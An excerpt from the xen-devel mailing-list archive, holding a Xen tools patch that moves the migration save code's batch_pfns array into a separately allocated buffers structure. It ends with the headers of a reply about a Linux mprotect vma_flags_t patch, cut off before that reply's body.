	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZV-0005Od-F4; Mon, 13 Jul 2026 20:48:13 +0000
Received: by outflank-mailman (input) for mailman id 1361928;
 Mon, 13 Jul 2026 20:48:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjNZT-0005Ch-RS
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:48:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjNZS-00EnAW-RK
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 22:48:10 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a554ec9-2eae-0a2a0a5409dd-0a2a45048844-44
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:10 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a554f0a-b1e5-0a2a45040019-d155802ccc2c-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:10 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493ec555a26so23344065e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 13:48:10 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49508724786sm23924255e9.3.2026.07.13.13.48.08
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 13 Jul 2026 13:48:09 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783975690; x=1784580490; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=GVzljfbFKFoNV9C92LIEgW8vPbCFaLYksP7zU4eJtPg=;
        b=Lfpyq0fGX2JbH3BvmU6VFdcBYCw1eUxmF9Kzk2HN1OmikL9mOzmtBCR0ExXFEfujYs
         jBFpYt8VXWI9HqZkp651BREYvfKWIWb1eJk2NS+U8RWdCjXuD1xrNpM5ZCykrvclC0LB
         8dVAGqhygtiJ2DDJFD2Ds5xUMi2KJRTMJA9KIpYKy6d4RNY7jsXSF/pLfRYzJnuRGp/d
         MJBSwRN4yqTLCgrxXg/zRLy1Iogr7KSNsYHG/N0vMcuoVYuIOOR0Bk0lxvOh7+CzS9Jf
         MfBl00jH7gS2AX1lorr4HO/8kVceP1bjwczl3wztCVQaYpr7FAuhPOwWWrl8hjfECOno
         lLIQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783975690; x=1784580490;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=GVzljfbFKFoNV9C92LIEgW8vPbCFaLYksP7zU4eJtPg=;
        b=emsP145JUMrID6oFJP8xow1dkLbPbPGUQ7WSHJnCpkbdDCK/6ROQJFOkkxP255m5lC
         Ocrb4qIjbEpVBQ8X3TC4dxEGpz6zDIK9thchWYuEGQ4Ct64ZwuS7RHvynYRTp/dmfKFe
         q3PyWHYZ8tcjO/MrB5nQAA5e5qiFFE42IhHy8eQvk/p1+zlYDuTSbnl2n6StpmBxKaBS
         7VtvlxYVYebuQlJo/o2pUswF8Uv0vJDSrtJvPd1EcKFjFVwjAoSZMYDa8vOoYWKmkSjB
         gMrniLHeGCEw/8ZGcWoc159zN9ZLbdtRBbXdJ4mKAn1avtZDOEcktGVX6ksIUQhtkhPf
         4HLw==
X-Gm-Message-State: AOJu0YyUvlwfE8KzvYe5fML2kUtTMNuVc6jt1FUef6YU01NahzGkxXUW
	qEd44Mn1irypBRDEReQjg+SDHVypQeI2kj5g1OoLcrf8Qw5l1pLC7Cn1F8ladf18WJaABw==
X-Gm-Gg: AfdE7cnmrsunqDpp8QVFHV9A7Pdc14PpT2BYQxj6DFggTwro3HPJH963tTB35cB4NbP
	dTLu8b3dC41hKxjCjR3Z9Z0Q2AEXLxfkQ8mFnGCURXLxPoXjJIutEAw2LEON/DrVmKHeCkIVwMM
	aSdiiwjjYTxCA2/JGrxorerXw5h6NbdJ9Fmw8CLI5RDCw1SPaeKM89SjTABrhP2QBYpfkXw/hRR
	VSeJ3vLWGI2K5UKp58Dku5VUMBUaT0YSyj3mdlTRnZLgAwMK9kJwaQs8aETwaV5Sxo5cbwWcfrh
	W5yBlkP8/xGoZywZM+4yPvx+kYrqtwNzfV/IAyufr52skpAh6RQuhYYlN4xVbQWGkqp8m+o+7Y8
	ayXsk+V/v3lpk7cueVTJUg3i7vzZtknG5bCbm3DCTsBoWWQOeykxopXendCiS1qY3HzHhnCfL8d
	OFH5yhN8JFGO1ufYcKM4XZ4T+e45jdu9A8E716s3IQ3es6a3yiKSaKdyRhy55pAuCwuaTcsq3mM
	+IkFzj7EVTqA5CW507NKYBEFahv7Q==
X-Received: by 2002:a05:600c:3d8b:b0:48a:906b:14ca with SMTP id 5b1f17b1804b1-493f8818e5dmr116948595e9.20.1783975690107;
        Mon, 13 Jul 2026 13:48:10 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v9 2/4] libs/guest: move batch_pfns into a separate structure
Date: Mon, 13 Jul 2026 21:48:00 +0100
Message-ID: <20260713204802.105115-3-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260713204802.105115-1-frediano.ziglio@citrix.com>
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783975690-75E53FE7-6214D1A6/0/0
X-purgate-type: clean
X-purgate-size: 6125

Preparation for a followup patch "libs/guest: allocate various migration
arrays just once".

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Reviewed-by: Anthony PERARD <anthony.perard@vates.tech>
---
Changes since v6:
- split from "libs/guest: allocate various migration arrays just once".

Changes since v7:
- initialize "batch_pfns" on declaration.

Changes since v8:
- remove useless check;
- added Reviewed-by.
---
 tools/libs/guest/xg_sr_common.h |  5 ++++-
 tools/libs/guest/xg_sr_save.c   | 28 ++++++++++++++--------------
 2 files changed, 18 insertions(+), 15 deletions(-)

diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index f1573aefcb..7574c9f5b6 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -239,11 +239,14 @@ struct xc_sr_context
 
             struct precopy_stats stats;
 
-            xen_pfn_t *batch_pfns;
             unsigned int nr_batch_pfns;
             unsigned long *deferred_pages;
             unsigned long nr_deferred_pages;
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
+            struct xc_sr_context_save_buffers
+            {
+                xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+            } *buffers;
         } save;
 
         struct /* Restore data. */
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 84fdbe4140..22348db445 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -75,7 +75,7 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
 
 /*
  * Writes a batch of memory as a PAGE_DATA record into the stream.  The batch
- * is constructed in ctx->save.batch_pfns.
+ * is constructed in ctx->save.buffers->batch_pfns.
  *
  * This function:
  * - gets the types for each pfn in the batch.
@@ -95,6 +95,7 @@ static int write_batch(struct xc_sr_context *ctx)
     void *page, *orig_page;
     uint64_t *rec_pfns = NULL;
     struct iovec *iov = NULL; int iovcnt = 0;
+    xen_pfn_t *const batch_pfns = ctx->save.buffers->batch_pfns;
     struct {
         struct xc_sr_rhdr rec;
         struct xc_sr_rec_page_data_header page_data;
@@ -110,6 +111,7 @@ static int write_batch(struct xc_sr_context *ctx)
     };
 
     assert(nr_pfns != 0);
+    assert(nr_pfns <= MAX_BATCH_SIZE);
 
     /* Mfns of the batch pfns. */
     mfns = malloc(nr_pfns * sizeof(*mfns));
@@ -141,13 +143,12 @@ static int write_batch(struct xc_sr_context *ctx)
 
     for ( i = 0; i < nr_pfns; ++i )
     {
-        types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx,
-                                                      ctx->save.batch_pfns[i]);
+        types[i] = mfns[i] = ctx->save.ops.pfn_to_gfn(ctx, batch_pfns[i]);
 
         /* Likely a ballooned page. */
         if ( mfns[i] == INVALID_MFN )
         {
-            set_bit(ctx->save.batch_pfns[i], ctx->save.deferred_pages);
+            set_bit(batch_pfns[i], ctx->save.deferred_pages);
             ++ctx->save.nr_deferred_pages;
         }
     }
@@ -193,7 +194,7 @@ static int write_batch(struct xc_sr_context *ctx)
             if ( errors[p] )
             {
                 ERROR("Mapping of pfn %#"PRIpfn" (mfn %#"PRIpfn") failed %d",
-                      ctx->save.batch_pfns[i], mfns[p], errors[p]);
+                      batch_pfns[i], mfns[p], errors[p]);
                 goto err;
             }
 
@@ -207,7 +208,7 @@ static int write_batch(struct xc_sr_context *ctx)
             {
                 if ( rc == -1 && errno == EAGAIN )
                 {
-                    set_bit(ctx->save.batch_pfns[i], ctx->save.deferred_pages);
+                    set_bit(batch_pfns[i], ctx->save.deferred_pages);
                     ++ctx->save.nr_deferred_pages;
                     types[i] = XEN_DOMCTL_PFINFO_XTAB;
                     --nr_pages;
@@ -235,7 +236,7 @@ static int write_batch(struct xc_sr_context *ctx)
     hdrs.rec.length += nr_pages * PAGE_SIZE;
 
     for ( i = 0; i < nr_pfns; ++i )
-        rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
+        rec_pfns[i] = ((uint64_t)(types[i]) << 32) | batch_pfns[i];
 
     if ( writev_exact(ctx->fd, iov, iovcnt) )
     {
@@ -274,9 +275,9 @@ static int flush_batch(struct xc_sr_context *ctx)
 
     if ( !rc )
     {
-        VALGRIND_MAKE_MEM_UNDEFINED(ctx->save.batch_pfns,
+        VALGRIND_MAKE_MEM_UNDEFINED(ctx->save.buffers->batch_pfns,
                                     MAX_BATCH_SIZE *
-                                    sizeof(*ctx->save.batch_pfns));
+                                    sizeof(*ctx->save.buffers->batch_pfns));
     }
 
     return rc;
@@ -293,7 +294,7 @@ static int add_to_batch(struct xc_sr_context *ctx, xen_pfn_t pfn)
         rc = flush_batch(ctx);
 
     if ( rc == 0 )
-        ctx->save.batch_pfns[ctx->save.nr_batch_pfns++] = pfn;
+        ctx->save.buffers->batch_pfns[ctx->save.nr_batch_pfns++] = pfn;
 
     return rc;
 }
@@ -784,11 +785,10 @@ static int setup(struct xc_sr_context *ctx)
 
     dirty_bitmap = xc_hypercall_buffer_alloc_pages(
         xch, dirty_bitmap, NRPAGES(bitmap_size(ctx->save.p2m_size)));
-    ctx->save.batch_pfns = malloc(MAX_BATCH_SIZE *
-                                  sizeof(*ctx->save.batch_pfns));
     ctx->save.deferred_pages = bitmap_alloc(ctx->save.p2m_size);
+    ctx->save.buffers = calloc(1, sizeof(*ctx->save.buffers));
 
-    if ( !ctx->save.batch_pfns || !dirty_bitmap || !ctx->save.deferred_pages )
+    if ( !ctx->save.buffers || !dirty_bitmap || !ctx->save.deferred_pages )
     {
         ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
               " deferred pages");
@@ -819,7 +819,7 @@ static void cleanup(struct xc_sr_context *ctx)
     xc_hypercall_buffer_free_pages(xch, dirty_bitmap,
                                    NRPAGES(bitmap_size(ctx->save.p2m_size)));
     free(ctx->save.deferred_pages);
-    free(ctx->save.batch_pfns);
+    free(ctx->save.buffers);
 }
 
 /*
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 02:47:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 02:47:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362013.1613997 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjTAm-0006mC-Ga; Tue, 14 Jul 2026 02:47:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362013.1613997; Tue, 14 Jul 2026 02:47:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjTAm-0006m4-BY; Tue, 14 Jul 2026 02:47:04 +0000
Received: by outflank-mailman (input) for mailman id 1362013;
 Tue, 14 Jul 2026 02:47:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wjTAl-0006ly-0O
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 02:47:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjTAj-006XiE-Nd
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 04:47:01 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a55a2b2-e002-0a2a0a5209dd-0a2a4504c6c4-44
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 04:47:01 +0200
Received: from [52.101.201.55]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ziy@nvidia.com>)
 id 6a55a323-b1e5-0a2a45040019-3465c937cf7b-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 04:47:01 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by PH8PR12MB7136.namprd12.prod.outlook.com (2603:10b6:510:22b::5)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Tue, 14 Jul
 2026 02:46:48 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.019; Tue, 14 Jul 2026
 02:46:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=zE7+KsZQQV1iRbogED6kqqSbDBxNJ9jxwKu6XWPkG0GSZpmms0KWPis52BtvJqzhNm3aVdPulkpKsoPHUa3sDTle/ffziZX5Tzvp2fjYbQ8QogoLbiKfaqLC4C+3omLaXUbL1ULP/Cd6/F97Wc2yhMwuYSOgRusDfJQ63oHxXg+1xLcV20CGNSVgiBYwWqJGkiRg+F5xIedh++c8CtdW1tD0j4dnjjP1677QRkrTAWgaraxePJ/n5W9c9xEImb1G+mjIR78zqQrSxknpkgB2Lb6N38UkoWwqzfG1D1iczM/Q+RhTEg5IKwBh5I/K8YvAEoZdl3VzUKix5yCBQKR7Zw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=feoIft/TLZO5dAhIHPg4039QYB9mwrIWxTuA8pa59uw=;
 b=TNhPwswseZss5Gych3ttTHKSW12ot+F8D8thV0U87mPrelQWF29y4bKvaQrTeHlqH4bsW7V1FSO7LOVymiqo3jvA1gCOsddKoFgpne2EBdNX5k6ZA/R5xv5OWJr7nHOjjqlzyYFk2fJuhh2Zxc0UZsl0YloQNYYDwBV9m/G0mhxRf99ksaT9vVNiYHhMRniWNfXRxkC9VTZ6VimMnvKKWeq2361+pHdRa2T3Ra3j7biDVZXAX5ikfxjUyodDWcit31WlMdKD0iORbie28nhbE+OZIA2f1Qq3GmlNowFIBgwjEZ8hKVJOgUwnSCh/JJXA3AxBvxvcdij21UZEq0iCjw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=feoIft/TLZO5dAhIHPg4039QYB9mwrIWxTuA8pa59uw=;
 b=cOUZIdERf22OunYxGqRWV0nEc5kxavp7gwUfCeG0vobu5aBFf74lQYoucZmsfnAGgzhISe+WUE4j8bv2KJVSxSVdTAiZ+XUDBar7iVDqZHYFgULe1wlG/+IJUwdxYx8DO5Og2GP98TaOXI3hcH9AJWVUeWiTk7v8n0TWq+8E64MTfW6HNB99hA9/VCDvtzCwgPAHFQqK6jri8k5D1xlfQNyG2umuf/mJJHitSR8nzGK60xO5LTp6ZHdtzTY6wkPNOKWCwRTvBOdC+p32lzC9cOa+7CEM4fBZePtZTMIouAnuRqZ/J1CStrJEfX1TyglwiCT2JarokvOS6rk1JSkMBQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
From: Zi Yan <ziy@nvidia.com>
To: Lorenzo Stoakes <ljs@kernel.org>
Cc: Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett" <liam@infradead.org>,
 Vlastimil Babka <vbabka@kernel.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang <baolin.wang@linux.alibaba.com>,
 Jann Horn <jannh@google.com>, Pedro Falcato <pfalcato@suse.de>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin <tursulin@ursulin.net>,
 Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar <abhinav.kumar@linux.dev>,
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>,
 Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>,
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu <olvaffe@gmail.com>,
 Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>,
 linux-mm@kvack.org, linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org,
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org,
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
Subject: Re: [PATCH v2 12/13] mm/mprotect: convert mprotect code to use
 vma_flags_t
Date: Mon, 13 Jul 2026 22:46:45 -0400
X-Mailer: MailMate (3.0r7017)
Message-ID: <E797FDEC-48B6-4D64-BEA1-3A15D5379652@nvidia.com>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-12-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-12-0fa2357d5431@kernel.org>
Content-Type: text/plain
X-MS-Reactions: disallow
X-ClientProxiedBy: BL1PR13CA0280.namprd13.prod.outlook.com
 (2603:10b6:208:2bc::15) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|PH8PR12MB7136:EE_
X-MS-Office365-Filtering-Correlation-Id: 98d9eb02-44c9-41a4-6336-08dee15226a7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|7416014|376014|23010399003|366016|1800799024|18002099003|56012099006|4143699003|11063799006|22082099003;
X-Microsoft-Antispam-Message-Info:
	g+UbA5RRGDxSjnEBQGbFA5Nzzl9skoKxx2Ji+Y63lvF4XNPGle/YwlqvU87ExSpIfBBaroYHg6lwNRb+5FCqrRqLVDR4t9PoC9WMLwUdLRWqGyDFmicU8MjQI5dj0efQlbPBN1wzsk84ZWFx3o3fv3AyLSQbPXCx6h/lKFHvSfJh+Ck88TCsk83Exfr/eIp0PcomRtd4IHCU2LDQhOgyMSTJNV7cmlhpglZIYp+CgjD98xGL48CaSIbbiXTfr98jdRv809b8lJeGCGsyLM0pkdLobMewUTSaTjEPhKJig8rbhQHuc7Rpf2Wru0+5MAk1nfANNL14YOXM9/0Dldugd/2kROMLLgi17TvpwM85cjxorQ2nz6tOWxtG0I/XrGoT0hz//aR68s+aA7JaFASLTzJbMJI+JdHPdCKVKAS+jrxTMWXNNyzBK3hZuYJxkvbS2M6OMTMOJQMbArU56BU4IDYjBZOSFYUqbE8OeDtX+3HYm+9ANCBEat87DXmbxpAXKqewMRPrioM7q1OVYfIsCqjzB1gXX8Mnk48PtCsFhgdsd6e2ZCgxR+13ebcXjRaVn9FcANGXXwfea0VikL3pjLFdOK32EMb4nYEbn3S9SeHG8twJ3+2lCzOKnUkhlDNqG5P8wh7BvMcN/VwZx76N5NMrEJ646i4OPLrXe7Hs0ig=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(366016)(1800799024)(18002099003)(56012099006)(4143699003)(11063799006)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?vbCWyyx2FA82sXVNPKB4JfuJPnluc8V5q7vTn2rk1np1pMisQ32P4fICD6IT?=
 =?us-ascii?Q?kT7J1blQ86FTj8QsK1YzTa1LVrY4sTJ7zO7uaj+Fwko08P5G6oY0BQo2yd/D?=
 =?us-ascii?Q?86QyOmE6aGFVbsYcLRYea2MG8seNkNkfd1pNaJca9hy2nk8pOtxqybMpLoBk?=
 =?us-ascii?Q?XSOGei0I+fqqhMDaJl0E9I5QvWs3RKynjdueNGlm5ipdo278MEaNzckZiNf4?=
 =?us-ascii?Q?8jtv2IJd0BMb8aOkXurh3K8c2Mk/yQYDBEpQnR5b0QSxTA1zZ2ad74k718Z0?=
 =?us-ascii?Q?Q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6BoujtnjB6NUoUHcfnBUdUbsBaXPzO/D3p+F9?=
 =?us-ascii?Q?/7kJ7kq7VzL4Z/Kk8YWPwiXAnYbuBFca5lKQQchHTQzp6MR59B6jd1Y/tiuW?=
 =?us-ascii?Q?qT5PJy/v/awW88y1hEKabOlLdl2yYkm2mW2YoFxOiLK/zfufgl7qUuhuN/P2?=
 =?us-ascii?Q?JB6N01+w8hGVjNrQvir77M56la4FC31hAEfv6ESNd3ClOkMBZ/6WoIxSdQmG?=
 =?us-ascii?Q?nswstxJC8yQZKEd4JetK9nisacGAzjQAYb1xRxZGfRpujPVBCgo5NwbraYNi?=
 =?us-ascii?Q?bJ07R5kxdI4Ry3tfeSA9d5CwtWkWbguGr5zMA+9rDuFcvWhHCW34Ub83A5Sc?=
 =?us-ascii?Q?kMK/qMa7G0DD8+I6fhqW8TlyzLtp28m+16x+SebPd8PSIQeNJteD2HEc3eR6?=
 =?us-ascii?Q?byJb05MwIgM9eI5Wx7ko1UcvBAl2AaRXPH3WlvO9qJ89bsJBh4b/lYWYZ9aA?=
